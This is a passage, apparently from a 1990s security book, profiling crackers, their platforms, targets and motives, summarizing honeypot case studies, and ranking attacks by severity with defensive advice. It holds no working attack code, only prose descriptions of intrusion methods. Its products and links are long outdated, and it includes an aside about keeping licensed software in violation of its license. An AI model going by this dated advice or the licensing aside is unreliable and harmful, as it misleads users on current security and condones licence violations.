\nbuy more computing power if you stay with an IBM compatible. Today, you can get a \n100MHz PC with 8MB of RAM for $300. You can put either FreeBSD or Linux on that \nmachine and suddenly, you have a powerful workstation. Conversely, that same $300 \nmight buy you a 25MHz SPARCstation 1 with a disk, monitor, and keyboard kit. Or \nperhaps an ELC with an external disk and 16MB of RAM. Compounding this is the \nproblem of software. If you get an old Sun, chances are that you will also be receiving \nSunOS 4.1.x. If so, a C compiler (cc) comes stock. However, if you buy an RS/6000 with \nAIX 4.1.x, you get a better deal on the machine but you are forced to get a C compiler. \nThis will probably entail getting GCC from the Internet. As you might guess, a C \ncompiler is imperative. Without it, you cannot build the majority of tools distributed from \nthe void. This is a big consideration and one reason that Linux is becoming much more \npopular. \n \nNOTE: Compatibility is not really an issue. The majority of good tools are written under \nthe UNIX environment and these can be easily ported to the free UNIX platforms. In fact, \nin many cases, binaries for Linux and FreeBSD already exist (although I readily admit \nthat this is more prevalent for FreeBSD, as early implementations of Linux had a \nsomewhat eclectic source tree that probably more closely resembled AIX than other \n" }, { "page_number": 482, "text": " \n \ntraditional flavors, like SunOS). This is somewhat of a cult issue as well. Purists \ngenerally prefer BSD. \n \nI should mention that professional crackers (those who get paid for their work) can \nprobably afford any system. You can bet that those forces in American intelligence \ninvestigating cyberwar are using some extreme computing power. For these individuals, \nlicensing and cost are not issues. \nSun \nIt is fairly common to see crackers using either SolarisX86 or SCO as a platform. This is \nbecause even though these products are licenseware, they can easily be obtained. \nTypically, crackers using these platforms know students or are students. They can \ntherefore take advantage of the enormous discounts offered to educational institutions \nand students in general. There is a radical difference between the price paid by a student \nand the price paid by the average man on the street. The identical product's price could \ndiffer by hundreds of dollars. Again, because these operating systems run on PC \narchitecture, they are still more economical alternatives. (SolarisX86 2.4 became \nenormously popular after support was added for standard IDE drives and CD-ROM \ndevices. Prior to the 2.4 driver update, the system supported only SCSI drives: a slightly \nmore expensive proposition.) And of course, one can always order demo disks from Sun \nand simply keep the distribution, even though you are in violation of the license. \nUNIX \nUNIX platforms are popular because they generally require a low overhead. A machine \nwith Windows 95 and all the trimmings requires a lot of RAM; in contrast, you can run \nLinux or FreeBSD on a paltry 386 and gain good performance (provided, of course, that \nyou do not use X). This is reasonable, too, because even tools that have been written for \nuse in the X environment usually have a command-line interface as well (for example, \nyou can run SATAN in CLI). \nMicrosoft \nThe Microsoft platform supports many legitimate security tools that can be used to attack \nremote hosts. Of that class, more and more crackers are using Windows NT. It \noutperforms 95 by a wide margin and has advanced tools for networking as well. Also, \nWindows NT is a more serious platform in terms of security. It has access control as well, \nso crackers can safely offer remote services to their buddies. If those \"friends\" log in and \nattempt to trash the system, they will be faced with the same controls as they would on a \nnon-cracker-friendly box. \nMoreover, NT is becoming more popular because crackers know they must learn this \nplatform. As NT becomes a more popular platform for Internet servers (and it will, with \nthe recent commitments between DEC and Microsoft), crackers will need to know how to \ncrack these machines. Moreover, security professionals will also develop tools to test \ninternal NT security. Thus, you will see a dramatic rise in the use of NT as a cracking \nplatform. \n" }, { "page_number": 483, "text": " \n \n \nNOTE: Windows 95 tools are also rapidly emerging, which will greatly alter the state of \ncracking on the Net. Such tools are typically point and click, requiring little skill on the \npart of the operator. As these tools become more common, you can expect even more \nsecurity violations on the Net. Nonetheless, I don't think 95 will ever be a major platform \nfor serious crackers. \n \nOrigin of Attacks \nYears ago, many attacks originated from universities because that is where the Internet \naccess came from. Most crackers were youngsters who had no other easy means of \naccessing the Internet. This naturally influenced not only the origin of the attack but also \nthe time during which the attack happened. Also, real TCP/IP was not available as an \noption in the old days (at least not from the comfort of your home, save a shell account). \nToday the situation is entirely different. Crackers can crack your network from their \nhome, office, or vehicle. However, there are some constants. For instance, serious \ncrackers do not generally use providers such as America Online, Prodigy, or Microsoft \nNetwork. (The obvious exceptions are those crackers who utilize stolen credit-card \nnumbers. In those cases, AOL is an excellent choice.) One reason for this is that these \nproviders will roll over a hacker or cracker to the authorities at the drop of a hat. The \nsuspect may not have even done anything wrong (smaller ISPs may simply cut them \nloose). Ironically, big providers allow spammers to pummel the Internet with largely \nunwanted advertising. Go figure. Curiosity is frowned upon, but stone-cold \ncommercialism is A-OK. \nFurthermore, these providers do not offer a UNIX shell environment in addition to \ngarden-variety PPP. A shell account can facilitate many actions that are otherwise more \ndifficult to undertake. System tools available that can provide increased functionality \ninclude the various shells, Perl, AWK, SED, C, C++, and a handful of system commands \n(showmount is one; rusers is another). \nSo the picture of a typical cracker is developing: This is a person who works late at night, \nwho is armed with a UNIX or an NT box and advanced tools, and, with all likelihood, is \nusing a local provider. \nWhat Is the Typical Cracker Like? \nThe typical cracker can probably be described by at least three qualities in the following \nprofile: \n• \nCan code in C, C++, or Perl--These are general requirements, because many of the baseline \nsecurity tools are written in one or more of these languages. At minimum, the cracker must be able \nto properly interpret, compile, and execute the code. More-advanced crackers can take code not \nexpressly written for a particular platform and port it to their own. Equally, they may develop new \nmodules of code for extensible products such as SATAN and SAFEsuite (these programs allow \nthe integration of new tools written by the user). \n" }, { "page_number": 484, "text": " \n \n• \nHas an in-depth knowledge of TCP/IP--No competent cracker can get along without this \nrequirement. At minimum, a cracker must know how the Internet works. This knowledge must \nnecessarily go deeper than just what it takes to connect and network. The modern, competent \ncracker must know the raw codes within TCP/IP, such as the composition of IP packet headers. \nThis knowledge, however, need not be acquired at school and therefore, a B.S. in Computer \nScience is not required. Many individuals get this knowledge by networking equipment within \ntheir home or at their place of business. \n• \nUses the Internet more than 50 hours per month--Crackers are not casual users. To watch a cracker \nat work is to watch someone who truly knows not only his or her own machine, but the Net. There \nis no substitute for experience, and crackers must have it. Some crackers are actually habitual \nusers and suffer from insomnia. No joke. \n• \nIntimately knows at least two operating systems--One of these will undoubtedly be UNIX or \nVMS. \n• \nHas (or had) a job using computers--Not every cracker wakes up one morning and decides to \ndevote a major portion of his or her life to cracking. Some have had jobs in system administration \nor development. These individuals tend to be older and more experienced. In such cases, you are \nprobably dealing with a professional cracker (who probably has had some experience developing \nclient/server applications). \n• \nCollects old, vintage, or outdated computer hardware or software--This may sound silly, but it \nisn't. Many older applications and utilities can perform tasks that their modern counterparts \ncannot. For example, I recently had a hard drive that reported bad sectors. I reformatted it a dozen \ntimes and tried various disk utilities to repair it; still, I had problems. After several tries with \nmodern utilities, I turned to a very obscure program called hdscrub.com, coded many years ago. It \nrepaired the problem in no time, reformatting the disk clean. Other examples include old utilities \nthat can format disks to different sizes, break up large files for archiving on disks, create odd file \nsystems, and so forth. As a cracker's experience grows, he or she collects such old utilities. \nWhat Is the Typical Target Like? \nThe typical target is hard to pin down because crackers attack different types of networks \nfor different reasons. Nonetheless, one popular target is the small, private network. \nCrackers are well aware of organizational behavior and financial realities. Because \nfirewalls are expensive to acquire and maintain, smaller networks are likely to go without \nor obtain inferior products. Also, few small companies have individuals assigned \nspecifically to anti-cracking detail (think about the Finnish report I mentioned in Chapter \n4, \"Just Who Can Be Hacked, Anyway?\"). Finally, smaller networks are more easily \ncompromised because they fit this profile: \n• \nThe owners are new to the Internet \n• \nThe sysad is experienced with LANs rather than TCP/IP \n• \nEither the equipment or the software (or both) are old (and perhaps outdated) \n \nNOTE: Seizing such a network is generally easier, as it is maintaining a box there. \nCrackers refer to this as owning a box, as in \"I just cracked this network and I now own a \n" }, { "page_number": 485, "text": " \n \nbox there.\" This owning refers to a condition where the cracker has root, supervisor, or \nadministrator privileges on the box. In other words, the cracker has total control of the \nmachine and, at any time, could totally down or otherwise destroy the network. \n \nThis profile, however, is not set in stone. Many crackers prefer to run with the bleeding-\nedge target, seeing whether they can exploit a newly discovered hole before the sysad \nplugs it. In this instance, the cracker is probably cracking for sport. \nAnother issue is familiarity. Most crackers know two or more operating systems \nintimately from a user standpoint, but generally only one from a cracking standpoint. In \nother words, these folks tend to specialize. Few crackers are aware of how to crack \nmultiple platforms. For example, perhaps one individual knows VAX/VMS very well but \nknows little about SunOS. He will therefore target VAX stations and ultimately, perhaps \nthrough experience, DEC Alphas. \nUniversities are major targets in part because they possess extreme computing power. For \nexample, a university would be an excellent place to run an extensive password cracking \nsession. The work can be distributed over several workstations and can thus be \naccomplished much more quickly than by doing it locally. Another reason universities \nare major targets is that university boxes usually have several hundred users, even in \nrelatively small network segments. Administration of sites that large is a difficult task. \nThere is a strong chance that a cracked account can get lost in the mix. \nOther popular targets are government sites. Here, you see the anarchistic element of the \ncracker personality emerging: the desire to embarrass government agencies. Such an \nattack, if successful, can bring a cracker great prestige within the subculture. It does not \nmatter if that cracker is later caught; the point is, he or she cracked a supposedly secure \nsite. This telegraphs the news of the cracker's skill to crackers across the Internet. \nWhy Do They Want to Attack? \nThere are a number of reasons why crackers might want to attack your system: \n• \nSpite--Plainly stated, the cracker may dislike you. Perhaps he is a disgruntled employee from your \ncompany. Perhaps you flamed him in a Usenet group. One common scenario is for a cracker to \ncrack an ISP with which he once had an account. Perhaps the ISP discovered the cracker was \ncracking other networks or storing warez on its box. For whatever reason, the ISP terminated the \ncracker's account, and now the cracker is out for revenge. \n• \nSport--Perhaps you have been bragging about the security of your system, telling people it's \nimpenetrable. Or worse, you own a brand-spanking-new system that the cracker has never dealt \nwith before. These are challenges a cracker cannot resist. \n• \nProfit--Someone pays a cracker to bring you down or to get your proprietary data. \n• \nStupidity--Many crackers want to impress their friends, so they purposefully undertake acts that \nwill bring the FBI to their door. These are mostly kids. \n" }, { "page_number": 486, "text": " \n \n• \nCuriosity--Many crack purely for sake of curiosity, simple enjoyment of the process, or out of \nboredom. \n• \nPolitics--A small (but significant) percentage of crackers crack for political reasons. That is, they \nseek press coverage to highlight a particular issue. This could be animal rights, arms control, free \nspeech, and so forth. This phenomenon is much more common in Europe than in the U.S. \nAmericans fall victim to pride or avarice far more often than they do to ideology. \nAll of these reasons are vices. These vices become excess when you break the law. With \nbreaking the law comes a certain feeling of excitement; that excitement can negatively \ninfluence your reasoning. \nAbout Attacks \nAt what point can you say you have suffered a network attack? Some insist that it is the \nmoment when crackers either penetrate your network or temporarily disable any portion \nof it. Certainly, from a legal point of view, this could be a valid place to mark the event \ncalled an attack (though, in some jurisdictions, intent and not the successful completion \nof the act will suffice). \nAlthough the legal definition of an attack suggests that it occurs only after the act is \ncompleted and the cracker is inside, it is my opinion that the mere undertaking of actions \nthat will result in a network break-in constitutes an attack. The way I see it, you are under \nattack the moment a cracker begins working on the target machine. \nThe problem with that position is that sometimes, partly out of sophistication and partly \nout of opportunity, a cracker will take some time to actually implement an attack. For \nexample, a series of fishing expeditions may occur over a period of weeks. These probes \nin themselves could not reasonably be called attacks because they do not occur \ncontiguously. If a cracker knows that logs are being run, he may opt for this \"slow boat to \nChina\" approach. The level of paranoia in system administrators varies; this is not a \nquality that a cracker can accurately gauge without undertaking some action (perhaps \ntrying a mock attack from a temporary address and waiting for the response, \nrepercussions, or activity from the sysad). However, the majority of system \nadministrators do not fly off the handle at a single instruction from the void unless that \ninstruction is quite obviously an attack. \nAn example of an obvious attack is when the log reveals the attempt of an old sendmail \nexploit. This is where the cracker issues two or three command lines on port 25. These \ncommands invariably attempt to trick the server into mailing a copy of the /etc/passwd \nfile back to the cracker. If a system administrator sees this, he will obviously be \nconcerned. However, contrast that with evidence of a showmount query. A system \nadministrator may well know that a showmount query is an ominous indication, but it \ncannot be indisputably classed as an attempted intrusion. In fact, it is nothing more than \nevidence of someone contemplating an intrusion, if that. \nThese techniques of gradually gaining information about a system have their advantages \nand their pitfalls. For example, the cracker may come from different addresses at \n" }, { "page_number": 487, "text": " \n \ndifferent times, quietly knocking on the doors (and checking the windows) of a network. \nSparse logging evidence from disparate addresses may not alarm the average system \nadministrator. In contrast, a shotgun approach (heavy scanning) will immediately alert \nthe sysad to a problem. Unless the cracker is reasonably certain that an exploit hole exists \non a machine, he will not conduct an all-out scanning attack (at least, not if he is smart). \nIf you are just getting started in security, the behavior of crackers is an important element \nof your education; this element should not be neglected. Security technicians usually \ndownplay this, because they maintain a high level of disdain for the cracker. Nonetheless, \neven though sites employ sophisticated security technology, crackers continue to breach \nthe security of supposedly solid servers. \nMost crackers are not geniuses. They often implement techniques that are tried, true, and \nwell known in the security community. Unless the cracker is writing his own tools, he \nmust rely on available, existing tools. Each tool has limitations peculiar to its particular \ndesign. Thus, from the victim's point of view, all attacks using such tools will look \nbasically the same. Attacks by crackers using strobe will probably look identical as long \nas the target machine is, say, a SPARC with SunOS 4.1.3. Knowing those signatures is an \nimportant part of your security education. However, the study of behavior goes a bit \ndeeper. \nMost crackers learn their technique (at least the basics) from those who came before \nthem. Although there are pioneers in the field (Kevin Mitnik is one), the majority of \ncrackers simply follow in the footsteps of their predecessors. These techniques have been \ndescribed extensively in online documents authored by crackers, and such documents are \navailable at thousands of locations on the Internet. In them are extremely detailed \nexamples of how to implement a particular class of attack. \nThe new cracker typically follows these instructions to the letter, often to his detriment \nbecause some attack methods are pathetically outdated (solutions have since been devised \nand the cracker employing them is wasting his own time). If you examine such an attack \nin your logs, it may look almost identical to sample logs posted by security professionals \nin various technical presentations designed with the express purpose of illustrating \ncracking examples. \n \nTIP: You can create scripts that will extract such attacks from logs. These scripts are \nreally nothing more than powerful regex searches (Perl is most suitable for this) that scan \nlog files for strings that commonly appear during or after such an attack. These output \nstrings generally differ only slightly from platform to platform. The key is, if you have \nnever seen those strings, generate some. Once you know the construct of the output, you \nwill know what to scan for. Likewise, check out some of the tools I reference later in this \nchapter. These tools are designed for wholesale scanning of large log files. \n \nHowever, there comes a point within a cracker's experience where he begins to develop \nspecialized methods of implementing attacks. Some of these methods emerge as a result \nof habit; others emerge because the cracker realizes that a tool can be used for more than \nits express purpose. These types of attacks, called hybrid attacks, are where one or more \ntechniques are used in concert to produce the ultimate end. (The example given in the \n" }, { "page_number": 488, "text": " \n \npreceding paragraphs is where an apparent denial-of-service attack is actually one phase \nof a spoofing attack.) Incredibly, there may be crackers who still use traditional type-one-\ncommand-at-a-time techniques, in which case, you will see all sorts of interesting log \nmessages. \nIn any event, studying the behavior of crackers in actual cracking situations is instructive. \nThere are documents of this sort on the Internet, and you should obtain at least two or \nthree of them. One of the most extraordinary papers of this class was written by Bill \nCheswick, then of AT&T Bell Laboratories. Cheswick begins this classic paper as \nfollows: \nOn January 7 1991 a cracker, believing he had discovered the famous sendmail DEBUG hole in \nour Internet gateway machine, attempted to obtain a copy of our password file. I sent him one. \nCheswick forwarded the password file and allowed the cracker to enter a \nprotected environment. There, the cracker was observed as he tried various \nmethods to gain leveraged access and ultimately, to delete all the files. The attack \nhad an apparent originating point at Stanford University, but it was later \ndetermined that the cracker was operating from the Netherlands. At the time, such \nactivity was not unlawful in the Netherlands. Therefore, though the calls were \nultimately traced and the cracker's identity known, he was reportedly untouchable. \nAt any rate, the cracker proceeded to make a series of clumsy attempts to crack a \nspecific machine. The story that Cheswick relates from there is truly fascinating. \nCheswick and his colleagues created a special, protected (chroot) environment in \nwhich the cracker was free to crack as he pleased. In this way, the cracker could \nbe observed closely. The paper contains many logs and is a must read. \n \nCross Reference: Find Cheswick's \"An Evening With Berferd In Which a Cracker is \nLured, Endured and Studied\" online at \nftp://research.att.com/dist/internet_security/berferd.ps. \n \n \nNOTE: Tsutomu Shimomura and Weitse Venema were also involved in this case, which \nspanned a fairly lengthy period of time. Shimomura reportedly assisted in capturing the \nnetwork traffic, while Venema monitored the cracker (and his associates) in the \nNetherlands. Also, Cheswick reports that Steve Bellovin constructed a throwaway \nmachine that they intended to use for such cases. They reasoned that such a machine \nwould provide a better environment to observe a cracker at work, because the machine \ncould actually be compromised at a root level (and perhaps even the file system could be \ndestroyed). They would simply locate the machine on a network segment on which a \nsniffer could also be installed. Thus, if the cracker destroyed the file system of the instant \nmachine, they could still reap the benefit of the logs. This is truly an important paper. It is \nhumorous, entertaining, and enormously instructive. \n \n \nNOTE: As it happens, Steve Bellovin did provide a dedicated bait machine, which would \nlater become the model for other such machines. In the referenced paper, there is an \nextensive discussion of how to build a jail like the one the folks at Bell Labs used for the \nBerferd. \n \nOther such reports exist. A particularly scathing one was authored by Tsutomu \nShimomura, who had a cracker who closely resembled the Berferd mentioned above. The \n" }, { "page_number": 489, "text": " \n \nindividual claimed to be from the Mitnik Liberation Front (the name of this so-called \norganization says it all). In any event, this individual \"compromised\" a baited machine, \nsimilar to the one that Bellovin reportedly constructed. Shimomura's commentary is \ninterlaced between failed attempts by the cracker to accomplish much. There are logs of \nthe sessions. It is an interesting study. \n \nCross Reference: Shimomura's paper is located online at \nhttp://www.takedown.com/evidence/anklebiters/mlf/index.html. \n \nAnother engrossing account was authored by Leendert van Dorn, from Vrije University \nin the Netherlands. It is titled \"Computer Break-ins: A Case Study\" (January 21, 1993). \nThe paper addresses various types of attacks. These techniques were collected from \nactual attacks directed against Vrije University. Some of the attacks were quite \nsophisticated. \n \nCross Reference: Find van Dorn's account online at \nhttp://www.alw.nih.gov/Security/FIRST/papers/general/holland\n.ps. \n \nPerhaps a better-known paper is \"Security Breaches: Five Recent Incidents at Columbia \nUniversity.\" Because I analyze that paper elsewhere in this text, I will refrain from doing \nso again. However, it is an excellent study (some 23 pages in all) that sheds significant \nlight on the behavior of crackers implementing attacks. \n \nCross Reference: \"Security Breaches: Five Recent Incidents at Columbia University\" \ncan be found online at \nhttp://www.alw.nih.gov/Security/FIRST/papers/general/fuat.ps\n. \n \nGordon R. Meyer wrote a very interesting paper titled \"The Social Organization of the \nComputer Underground\" as his master's thesis at Northern Illinois University. In it, \nMeyer analyzed the computer underground from a sociological point of view and \ngathered some enlightening information. The paper, although dated, provides excerpts \nfrom radio and television interviews, message logs, journals, and other publications. \nAlthough Meyer's paper does not reveal specific methods of operation in the same detail \nas the papers mentioned earlier, it does describe (with considerable detail and clarity) the \nsocial aspects of cracking and crackers. \n \nCross Reference: Meyer's paper, written in August, 1989, is located online at \nhttp://www.alw.nih.gov/Security/FIRST/papers/general/hacker.\ntxt. \n \nThe Sams Crack Level Index \nFigure 26.1 shows six levels, each representing one level of depth into your network. I \nwill refer to these as levels of sensitivity. Points along those levels identify the risks \nassociated with each cracking technique. I will refer to those as states of attack. \n" }, { "page_number": 490, "text": " \n \nFIGURE 26.1. \nThe Sams crack level index. \nLevels of Sensitivity \nThe levels of sensitivity in all networks are pretty much the same (barring those using \nsecure network operating systems). The common risks can be summed up in a list, which \nhas basically not changed for a decade. The list rarely changes, except with the \nintroduction of new technologies, such as ActiveX, that allow arbitrary execution of \nbinaries over the Net. \nThe majority of crackers capitalize on the holes we hear about daily in security \nnewsgroups. If you have frequented these groups (or a security mailing list) you will have \nread these words a thousand times: \n• \n\"Oh, they had test.cgi still installed in their cgi-bin directory.\" \n• \n\"It was a Linux box and apparently, they installed sudo and some of the demo users.\" \n• \n\"It was the phf script that did them in.\" \nLevel One \nAttacks classified in the level-one category are basically irrelevant. Level-one attacks \ninclude denial-of-service attacks and mail bombing. At best, these techniques require 30 \nminutes of your time to correct. This is because these attacks are instituted with the \nexpress purpose of nuisance. In most instances, you can halt these problems by applying \nan exclusionary scheme, as discussed in Computer Security Advisory 95-13 (SATAN \nUpdate), issued by the University of Pittsburgh: \nDenial-of-service attacks are always possible: The best way to deal with this is to react to \nintrusions by adding intruder source hosts/networks into the DENY listings in the inetd.sec. There \nis no proactive way to avoid this without disabling networking altogether. \n \nTIP: If you uncover evidence of a denial-of-service attack, you should look elsewhere on \nthe system for possible intrusions. Flooding and denial-of-service attacks are often \nprecursors (or even integral portions) of a spoofing attack. If you see a comprehensive \nflooding of a given port on one machine, take note of the port and what it does. Examine \nwhat service is bound to it. If that service is an integral part of your internal system--\nwhere other machines use it and the communication relies on address authentication--be \nwary. What looks like a denial-of-service attack could in fact be the beginning of a \nbreach of network security, though generally, denial-of-service attacks that last for long \nperiods of time are just what they appear to be: nuisances. \n \nThere are some instances in which a denial-of-service attack can be more serious. \nCertain, obscure configurations of your network could foster more threatening conditions. \nChristopher Klaus of Internet Security Systems defined several such configurations in a \npost concerning denial-of-service attacks. In that posting, Klaus wrote: \n" }, { "page_number": 491, "text": " \n \nBy sending a UDP packet with incorrect information in the header, some Sun-OS 4.1.3 UNIX \nboxes will panic and then reboot. This is a problem found frequently on many firewalls that are on \ntop of a Sun-OS machine. This could be high risk vulnerability if your firewall keeps going down. \nKlaus also addressed other denial-of-service attacks in that post. I would recommend \nreviewing it. Klaus provides information on vulnerabilities for NT, Novell, Linux, and \nUNIX generally. \n \nCross Reference: Klaus's posting can be found online at \nhttp://vger.alaska.net/mail/bos/msg00002.html. \n \nIf the attack is a syn_flood attack, there are some measures you can take to identify the \ncracking party. Currently, four major syn_flooding utilities are floating around on the \nInternet. At least two of these tools have a fundamental flaw within them that reveals the \nidentity of the attacker, even if indirectly. These tools have provisions within their code \nfor a series of PING instructions. These PING instructs carry with them the IP address of \nthe machine issuing them. Therefore, if the cracker is using one of these two utilities, he \nis telegraphing his IP address to you for each PING. Although this will not give you the \ne-mail address of the party, you can, through methods described earlier in this book, trace \nit to its ultimate source. (As noted, traceroute will reveal the actual network the cracker is \ncoming from. This is generally the second-to-last entry on the reverse traceroute lookup.) \nThe problem with this, however, is that you must log heavily enough to capture all the \ntraffic between you and the cracking party. To find that IP address, you will have to dig \nfor it. At any rate, you have a 50 percent chance of the cracker using such a flawed \nutility. \n \nNOTE: The remaining two utilities for syn_flooding do not have this PING flaw. The \ndevelopers of these tools were a bit more sophisticated. They added a provision to \nrandomize the purported IP address. This naturally presents a much more difficult \nsituation to the victim. Even low-level analysis of the received packets is a waste of time. \nHowever, to the inexperienced system administrator, this could be a bit confusing. \nTricky, right? \n \nMost denial-of-service attacks represent a relatively low-level risk. Even those attacks \nthat can force a reboot (of over-utilization of a processor) are only temporary problems. \nThese types of attacks are vastly different from attacks where someone gains control of \nyour network. The only truly irritating thing about denial-of-service attacks is that in the \nsame way that they are low-level risks, they are also high-level possibilities. A cracker \nimplementing a denial-of-service attack need have only very limited experience and \nexpertise. These attacks are therefore common, though not nearly as common as mail \nbombings. \nAs for mail bombings, the perpetrators are usually easily tracked. Furthermore, bozo files \n(kill files) and exclusionary schemes basically render these attacks utterly harmless (they \nultimately bring more sorrow to the perpetrator than anyone). The only real exception to \nthis is where the bombing is so consistent and in such volume that it cripples a mail \nserver. \n" }, { "page_number": 492, "text": " \n \nOther level-one intrusions consist of knuckleheads initiating Telnet sessions to your mail \nor news server, trying to ascertain shared out directories and whatnot. As long as you \nhave properly secured your network, these activities are harmless. If you haven't properly \nconfigured shares, or if you are running the r services (or other things you shouldn't), \nsome of these garden- variety level-one techniques can expand into real trouble. \nLevels Two and Three \nLevels two and three involve things like local users gaining read or write access to files \n(or directories) they shouldn't. This can be a problem, depending largely on the character \nof the file(s). Certainly, any instance of a local user being able to access the /tmp \ndirectory can be critical. This could potentially pave a pathway to level-three issues (the \nnext stage) where a user could conceivably gain write access as well (and thus progress to \na level-four environment). This is an issue primarily for UNIX administrators or NT \nadministrators. \n \nNOTE: Microsoft Windows 95 does not have granular access control and therefore, \nbarring installation of some third-party, access-control device, Windows 95 networks are \ncompletely insecure. Because of this, level-two attacks are critical and can easily progress \nto levels three, four, five, and six in seconds. If you run such a network, immediately get \nan access-control device of some sort. If you do not, anyone (at any time) can delete one \nor more critical files. Many programs in the Windows 95 environment rely on file \ndependencies. As long as you run a Windows 95 network connected to the Internet \n(without access control or closing the holes in Internet Explorer), it is only a question of \nhow long before someone mangles your network. By deleting just a few files on a \nWindows 95 network, a cracker can incapacitate it permanently. If you have the ability to \ndo so, monitor all traffic to ports 137-139, where the sharing process occurs. \nFurthermore, I would strictly prohibit users within that network from installing Web or \nFTP servers. If you are running the Microsoft platform and want to provide servers open \nto the outside world (an idea that I would furiously argue against), get NT. \n \nLocal attacks are a bit different. The term local user is, I realize, a relative one. In \nnetworks, local user refers to literally anyone currently logged to any machine within the \nnetwork. Perhaps a better way to define this is to say that a local user is anyone who has a \npassword to a machine within your local network and therefore has a directory on one of \nyour drives (regardless of what purpose that directory serves: a Web site, a local hard \ndisk drive on one of the workstations, and so forth). \nThe threat from local users correlates directly to what type of network you are \nmaintaining. If you are an ISP, your local users could be anyone; you have probably \nnever met or spoken to 90 percent of your local users. As long as their credit card charges \nring true each month, you probably have little contact with these folks even by e-mail \n(barring the distribution of monthly access or maintenance reports; this interaction doesn't \nreally count as contact, though). There is no reason to assume that these faceless persons \nare not crackers. Everyone but your immediate staff should be suspect. \nAn attack initiated by a local user can be either pathetic or extremely sophisticated. \nNevertheless, no matter what level of expertise is behind these attacks, will almost \ninvariably originate over Telnet. I have indicated before that if you are an ISP, it is an \n" }, { "page_number": 493, "text": " \n \nexcellent idea to isolate all shell accounts to a single machine. That is, logins should only \nbe accepted on the one or more machines that you have allocated for shell access. This \nmakes it much easier to manage logs, access controls, loose protocols, and other potential \nsecurity issues. \n \nTIP: In general, you should also segregate any system boxes that are going to house user-\ncreated CGI. \n \nThese machines should be blocked into their own networked segment. That is, they \nshould be surrounded by either routers or hubs, depending on how your network is \nconfigured. The topology should ensure that bizarre forms of hardware address spoofing \ncannot leak beyond that particular segment. This brings up some issues of trust, a matter I \naddress later in this book. \nThere are only two kinds of attack you will encounter. The less serious one is the roving \nuser, a cracker who is new to the subject and therefore looks around for things (oh, they \nmight print the passwd file to SDTOUT, see if they can read any privileged files, and \nwhatnot). Conversely, you may encounter an organized and well-thought-out attack. This \nis where the attacker already knows your system configuration well. Perhaps he \npreviously assessed it from an account with another provider (if your system gives away \ninformation from the outside, this is a definite possibility). \nFor those using access-control-enabled environments, there are two key issues regarding \npermissions. Each can affect whether a level-two problem escalates into levels three, \nfour, or five. Those factors are \n• \nMisconfiguration on your part \n• \nHoles inherent within software \nThe first contingency arises when you don't properly understand the permission scheme. \nThis is not a crime. I recognize (though few will admit it) that not every UNIX or NT \nsystem administrator is a guru. It takes time to acquire in-depth knowledge of the system. \nJust because you have earned a B.S. in CS doesn't mean you will know for certain that \nyour system is secure. There are tools to check for common misconfigurations, and I \noffer quite a few throughout this book. If you have even the slightest suspicion that \npermissions may be set inaccurately, get these tools and double-check. \n \nTIP: Many security tools come with tutorials about vulnerabilities. SATAN is a great \nexample. The tutorials included with SATAN are of significant value and can be used to \nunderstand many weaknesses within the system, even if you do not run UNIX. For \nexample, suppose you are a journalist and want to gain a better understanding of UNIX \nsecurity. You don't need UNIX to read the HTML tutorials included with SATAN. \n \nThe second contingency is more common than you think. In fact, it crops up all the time. \nFor example, according to the CERT advisory titled \"Vulnerability in IRIX csetup\" \n(issued in January, 1997): \n" }, { "page_number": 494, "text": " \n \nThe CERT Coordination Center has received information about a vulnerability in the csetup \nprogram under IRIX versions 5.x, 6.0, 6.0.1, 6.1, and 6.2. csetup is not available under IRIX 6.3 \nand 6.4. By exploiting this vulnerability, local users can create or overwrite arbitrary files on the \nsystem. With this leverage, they can ultimately gain root privileges. \n \nCross Reference: Find this advisory online at \nhttp://www.fokus.gmd.de/vst/Security/cert/0073.html. \n \nTake a good look at this advisory. Note the date. This is not some ancient advisory from \nthe 1980s. This appeared very recently. These types of problems are not exclusive to any \none company. Holes are routinely found in programs on every manner of operating \nsystem, as noted in the CERT advisory titled \"Vulnerability in Solaris admintool\" \n(August, 1996): \nAUSCERT has received a report of a vulnerability in the Sun Microsystems Solaris 2.x \ndistribution involving the program admintool. This program is used to provide a graphical user \ninterface to numerous system administration tasks. This vulnerability may allow a local user to \ngain root privileges...In Solaris 2.5, admintool is set-user-id root by default. That is, all file \naccesses are performed with the effective uid of root. An effect of this is that the vulnerability will \nallow access to any file on the system. If the vulnerability is exploited to try and create a file that \nalready exists, the contents of that file will be deleted. If the file does not exist, it will be created \nwith root ownership and be world writable. \n \nCross Reference: Find this advisory online at \nhttp://www.fokus.gmd.de/vst/Security/cert/0050.html. \n \nIt makes no difference what flavor you are running. Bugs are posted for almost all \noperating systems. Most networked systems see at least one advisory a month of this \nnature (by this nature, I mean one that can lead to leveraged or even root access). There \nis no immediate solution to this problem because most of these holes are not apparent at \nthe time the software is shipped. The only solution is that you subscribe to every mailing \nlist germane to bugs, holes, and your system. In this respect, security is a never-ending, \nlearning process. \nThere are some techniques that you can employ to keep up with the times. First, if you \nsubscribe to several mailing lists, you will be hammered with e-mail. Some lists generate \nas many as 50 messages a day. On UNIX platforms, this is not much of a problem, \nbecause you can control how these messages are written to the disk at their time of arrival \n(by trapping the incoming address and redirecting the mail to a particular directory and so \nforth). In a Microsoft Windows environment, however, that volume of mail can be \noverwhelming for someone busy with other tasks. If you are the system administrator of a \nnetwork running NT, there are several actions you can take. One is to direct different lists \nto different accounts. This makes management of incoming mail a bit easier (there are \nalso products on the market for this sort of thing). Nonetheless, no matter what platform \nyou use, you should fashion scripts to analyze those mail messages before you read them. \nI would install Perl (which is also available for NT) and use it to scan the messages for \nstrings that would likely appear in a post relevant to your specific configuration. With a \nlittle effort, you can even create a script that rates these hits by priority. \nLevel Four \n" }, { "page_number": 495, "text": " \n \nLevel-four issues are usually related to outsiders being able to access internal files. This \naccess may vary. They may be able to do no more than verify the existence of certain \nfiles, or they may be able to read them. Level-four problems also include those \nvulnerabilities whereby remote users--without valid accounts--can execute a limited \nnumber of commands on your server. \nThe highest percentage of these holes arise through misconfiguration of your server, bad \nCGI, and overflow problems. \nLevels Five and Six \nLevels five and six consist of conditions whereby things are allowed to occur that never \nshould. Any level five or six hole is fatal. At these stages, remote users can read, write, \nand execute files (usually, they have used a combination of techniques to get to this \nstage). Fortunately, if you have closed levels two, three, and four, it is almost impossible \nthat you will ever see a level five or six crisis. If you close lesser avenues of entry, a \nlevel-six vulnerability is most likely to originate with a vendor's faulty software. \nResponse Levels \nWhat do you do if you discover an attack in progress? It depends on the situation. \nResponding to Level-One Attacks \nLevel-one attacks can be treated as described previously. Filter the incoming address and \ncontact the attacker's service provider. These are minor inconveniences. Only when the 